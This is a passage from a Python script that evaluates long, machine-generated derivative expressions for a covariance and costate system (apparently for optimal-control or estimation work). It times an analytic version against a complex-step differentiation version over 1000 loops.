- yb)**2)**(3/2) + p22_n*p22_s*y_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) + p22_n*p22_s*y_s*(y_n*y_s - yb)**2*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p22_n*p22_s*y_s*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p22_n*p22_s*(y_n*y_s - yb)*(-p12_n*p12_s*y_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) - p22_n*p22_s*y_s*(y_n*y_s - yb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p22_n*p22_s*y_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p22_s - lamP23_N*(p13_n*p13_s*y_s*(x_n*x_s - xb)*(y_n*y_s - yb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p13_n*p13_s*(x_n*x_s - xb)*(-p12_n*p12_s*y_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) - p22_n*p22_s*y_s*(y_n*y_s - yb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p22_n*p22_s*y_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) + p23_n*p23_s*y_s*(y_n*y_s - yb)**2*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p23_n*p23_s*y_s*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p23_n*p23_s*(y_n*y_s - yb)*(-p12_n*p12_s*y_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) - p22_n*p22_s*y_s*(y_n*y_s - yb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p22_n*p22_s*y_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p23_s - lamP33_N*(p13_n*p13_s*y_s*(x_n*x_s - xb)*(y_n*y_s - yb)*(p13_n*p13_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p13_n*p13_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p13_n*p13_s*(x_n*x_s - xb)*(-p13_n*p13_s*y_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) - p13_n*p13_s*y_s*(y_n*y_s - yb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p13_n*p13_s*y_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) + p23_n*p23_s*y_s*(y_n*y_s - yb)**2*(p13_n*p13_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p13_n*p13_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2)) - p23_n*p23_s*y_s*(p13_n*p13_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p13_n*p13_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p23_n*p23_s*(y_n*y_s - yb)*(-p13_n*p13_s*y_s*(x_n*x_s - xb)*(y_n*y_s - yb)/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) - p13_n*p13_s*y_s*(y_n*y_s - yb)**2/((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)**(3/2) + p13_n*p13_s*y_s/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p33_s), (tf)*(-lamP11_N*(-2*Dt*sigv**2*theta_s*sin(theta_n*theta_s)*cos(theta_n*theta_s) - 2*p13_n*p13_s*theta_s*v*cos(theta_n*theta_s))/p11_s - lamP12_N*(-Dt*sigv**2*theta_s*sin(theta_n*theta_s)**2 + Dt*sigv**2*theta_s*cos(theta_n*theta_s)**2 - p13_n*p13_s*theta_s*v*sin(theta_n*theta_s) - p13_n*p13_s*theta_s*v*cos(theta_n*theta_s))/p12_s + lamP13_N*p33_n*p33_s*theta_s*v*cos(theta_n*theta_s)/p13_s - lamP22_N*(2*Dt*sigv**2*theta_s*sin(theta_n*theta_s)*cos(theta_n*theta_s) - p13_n*p13_s*theta_s*v*sin(theta_n*theta_s) - p23_n*p23_s*theta_s*v*sin(theta_n*theta_s))/p22_s + lamP23_N*p33_n*p33_s*theta_s*v*sin(theta_n*theta_s)/p23_s + lamX_N*theta_s*v*sin(theta_n*theta_s)/x_s - lamY_N*theta_s*v*cos(theta_n*theta_s)/y_s), (tf)*(-lamP11_N*(-p11_n*p11_s**2*(x_n*x_s - xb)**2/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p11_s*p12_n*p12_s*(x_n*x_s - xb)*(y_n*y_s - yb)/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p11_s*(x_n*x_s - xb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p11_s - lamP12_N*(-p11_s*p12_n*p12_s*(x_n*x_s - xb)**2/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p11_s*p22_n*p22_s*(x_n*x_s - xb)*(y_n*y_s - yb)/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p12_s - lamP13_N*(-p11_s*p13_n*p13_s*(x_n*x_s - xb)**2/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p11_s*p23_n*p23_s*(x_n*x_s - xb)*(y_n*y_s - yb)/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p13_s), (tf)*(-lamP11_N*(-p11_n*p11_s*p12_s*(x_n*x_s - xb)*(y_n*y_s - yb)/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p12_n*p12_s**2*(y_n*y_s - yb)**2/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p12_s*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p11_s - lamP12_N*(-p12_n*p12_s**2*(x_n*x_s - xb)*(y_n*y_s - yb)/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p12_s*p22_n*p22_s*(y_n*y_s - yb)**2/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p12_s*(x_n*x_s - xb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p12_s - lamP13_N*(-p12_s*p13_n*p13_s*(x_n*x_s - xb)*(y_n*y_s - yb)/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p12_s*p23_n*p23_s*(y_n*y_s - yb)**2/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p13_s - lamP22_N*(-p12_n*p12_s**2*(x_n*x_s - xb)**2/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p12_s*p22_n*p22_s*(x_n*x_s - xb)*(y_n*y_s - yb)/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p12_s*(x_n*x_s - xb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p22_s - lamP23_N*(-p12_s*p13_n*p13_s*(x_n*x_s - xb)**2/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p12_s*p23_n*p23_s*(x_n*x_s - xb)*(y_n*y_s - yb)/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p23_s), (tf)*(2*lamP11_N*p13_s*v*sin(theta_n*theta_s)/p11_s - lamP12_N*(-p13_s*v*sin(theta_n*theta_s) + p13_s*v*cos(theta_n*theta_s))/p12_s - lamP22_N*p13_s*v*cos(theta_n*theta_s)/p22_s - lamP33_N*(-p13_n*p13_s*(x_n*x_s - xb)*(p13_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p13_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p13_s*(x_n*x_s - xb)*(p13_n*p13_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p13_n*p13_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p23_n*p23_s*(y_n*y_s - yb)*(p13_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p13_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p33_s + lamP13_N*(x_n*x_s - xb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) + lamP23_N*p13_s*(x_n*x_s - xb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*p23_s*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))), (tf)*(-lamP22_N*(-p12_n*p12_s*p22_s*(x_n*x_s - xb)*(y_n*y_s - yb)/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p22_n*p22_s**2*(y_n*y_s - yb)**2/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p22_s*(y_n*y_s - yb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p22_s - lamP23_N*(-p13_n*p13_s*p22_s*(x_n*x_s - xb)*(y_n*y_s - yb)/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) - p22_s*p23_n*p23_s*(y_n*y_s - yb)**2/(Dt*sigr**2*((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)))/p23_s + lamP12_N*p22_s*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*p12_s*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))), (tf)*(-lamP22_N*p23_s*v*cos(theta_n*theta_s)/p22_s + lamP13_N*p23_s*(y_n*y_s - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*p13_s*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) + lamP23_N*(y_n*y_s - yb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2)) + lamP33_N*p23_s*(y_n*y_s - yb)*(p13_n*p13_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2) + p13_n*p13_s*(y_n*y_s - yb)/sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))/(Dt*p33_s*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_n*y_s - yb)**2))), (tf)*(lamP13_N*p33_s*v*sin(theta_n*theta_s)/p13_s - lamP23_N*p33_s*v*cos(theta_n*theta_s)/p23_s), tf*0, ]) print(fx) tock = toc() print('A:' + str(tock)) tic() for i in range(1000): gx = np.array([ (tf)*(-np.imag(lamP11_N*(Dt*sigv**2*cos(theta_n*theta_s)**2 - 2*p13_n*p13_s*v*sin(theta_n*theta_s) - p11_n*p11_s*(x_s*(1.0e-50*1j + x_n) - xb)*(p11_n*p11_s*(x_s*(1.0e-50*1j + x_n) - xb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2)) - p12_n*p12_s*(y_n*y_s - yb)*(p11_n*p11_s*(x_s*(1.0e-50*1j + x_n) - xb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2)))/p11_s + lamP12_N*(Dt*sigv**2*sin(theta_n*theta_s)*cos(theta_n*theta_s) - p13_n*p13_s*v*sin(theta_n*theta_s) + p13_n*p13_s*v*cos(theta_n*theta_s) - p12_n*p12_s*(x_s*(1.0e-50*1j + x_n) - xb)*(p11_n*p11_s*(x_s*(1.0e-50*1j + x_n) - xb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2)) - p22_n*p22_s*(y_n*y_s - yb)*(p11_n*p11_s*(x_s*(1.0e-50*1j + x_n) - xb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2)))/p12_s + lamP13_N*(-p33_n*p33_s*v*sin(theta_n*theta_s) - p13_n*p13_s*(x_s*(1.0e-50*1j + x_n) - xb)*(p11_n*p11_s*(x_s*(1.0e-50*1j + x_n) - xb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2)) - p23_n*p23_s*(y_n*y_s - yb)*(p11_n*p11_s*(x_s*(1.0e-50*1j + x_n) - xb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2) + p12_n*p12_s*(y_n*y_s - yb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2)))/p13_s + lamP22_N*(Dt*sigv**2*sin(theta_n*theta_s)**2 + p13_n*p13_s*v*cos(theta_n*theta_s) + p23_n*p23_s*v*cos(theta_n*theta_s) - p12_n*p12_s*(x_s*(1.0e-50*1j + x_n) - xb)*(p12_n*p12_s*(x_s*(1.0e-50*1j + x_n) - xb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2)) - p22_n*p22_s*(y_n*y_s - yb)*(p12_n*p12_s*(x_s*(1.0e-50*1j + x_n) - xb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2)))/p22_s + lamP23_N*(p33_n*p33_s*v*cos(theta_n*theta_s) - p13_n*p13_s*(x_s*(1.0e-50*1j + x_n) - xb)*(p12_n*p12_s*(x_s*(1.0e-50*1j + x_n) - xb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2)) - p23_n*p23_s*(y_n*y_s - yb)*(p12_n*p12_s*(x_s*(1.0e-50*1j + x_n) - xb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2) + p22_n*p22_s*(y_n*y_s - yb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2)))/p23_s + lamP33_N*(Dt*sigw**2 - p13_n*p13_s*(x_s*(1.0e-50*1j + x_n) - xb)*(p13_n*p13_s*(x_s*(1.0e-50*1j + x_n) - xb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2) + p13_n*p13_s*(y_n*y_s - yb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2)) - p23_n*p23_s*(y_n*y_s - yb)*(p13_n*p13_s*(x_s*(1.0e-50*1j + x_n) - xb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2) + p13_n*p13_s*(y_n*y_s - yb)/sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2))/(Dt*sigr**2*sqrt((x_s*(1.0e-50*1j + x_n) - xb)**2 + (y_n*y_s - yb)**2)))/p33_s)/1e-50), (tf)*(-np.imag(lamP11_N*(Dt*sigv**2*cos(theta_n*theta_s)**2 - 2*p13_n*p13_s*v*sin(theta_n*theta_s) - p11_n*p11_s*(x_n*x_s - xb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2) + p12_n*p12_s*(y_s*(1.0e-50*1j + y_n) - yb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2)) - p12_n*p12_s*(y_s*(1.0e-50*1j + y_n) - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2) + p12_n*p12_s*(y_s*(1.0e-50*1j + y_n) - yb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2)))/p11_s + lamP12_N*(Dt*sigv**2*sin(theta_n*theta_s)*cos(theta_n*theta_s) - p13_n*p13_s*v*sin(theta_n*theta_s) + p13_n*p13_s*v*cos(theta_n*theta_s) - p12_n*p12_s*(x_n*x_s - xb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2) + p12_n*p12_s*(y_s*(1.0e-50*1j + y_n) - yb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2)) - p22_n*p22_s*(y_s*(1.0e-50*1j + y_n) - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2) + p12_n*p12_s*(y_s*(1.0e-50*1j + y_n) - yb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2)))/p12_s + lamP13_N*(-p33_n*p33_s*v*sin(theta_n*theta_s) - p13_n*p13_s*(x_n*x_s - xb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2) + p12_n*p12_s*(y_s*(1.0e-50*1j + y_n) - yb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2)) - p23_n*p23_s*(y_s*(1.0e-50*1j + y_n) - yb)*(p11_n*p11_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2) + p12_n*p12_s*(y_s*(1.0e-50*1j + y_n) - yb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2)))/p13_s + lamP22_N*(Dt*sigv**2*sin(theta_n*theta_s)**2 + p13_n*p13_s*v*cos(theta_n*theta_s) + p23_n*p23_s*v*cos(theta_n*theta_s) - p12_n*p12_s*(x_n*x_s - xb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2) + p22_n*p22_s*(y_s*(1.0e-50*1j + y_n) - yb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2)) - p22_n*p22_s*(y_s*(1.0e-50*1j + y_n) - yb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2) + p22_n*p22_s*(y_s*(1.0e-50*1j + y_n) - yb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2)))/p22_s + lamP23_N*(p33_n*p33_s*v*cos(theta_n*theta_s) - p13_n*p13_s*(x_n*x_s - xb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2) + p22_n*p22_s*(y_s*(1.0e-50*1j + y_n) - yb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2)) - p23_n*p23_s*(y_s*(1.0e-50*1j + y_n) - yb)*(p12_n*p12_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2) + p22_n*p22_s*(y_s*(1.0e-50*1j + y_n) - yb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2)))/p23_s + lamP33_N*(Dt*sigw**2 - p13_n*p13_s*(x_n*x_s - xb)*(p13_n*p13_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2) + p13_n*p13_s*(y_s*(1.0e-50*1j + y_n) - yb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2)) - p23_n*p23_s*(y_s*(1.0e-50*1j + y_n) - yb)*(p13_n*p13_s*(x_n*x_s - xb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2) + p13_n*p13_s*(y_s*(1.0e-50*1j + y_n) - yb)/sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2))/(Dt*sigr**2*sqrt((x_n*x_s - xb)**2 + (y_s*(1.0e-50*1j + y_n) - yb)**2)))/p33_s)/1e-50), (tf)*(-np.imag(lamP11_N*(Dt*sigv**2*cos(theta_s*(1.0e-50*1j + theta_n))**2 - 2*p13_n*p13_s*v*sin(theta_s*(1.0e-50*1j + theta_n)) - p11_n*p11_s*(x_n*x_s - xb)*(p11_n*p11_s*(x_n*x_s - 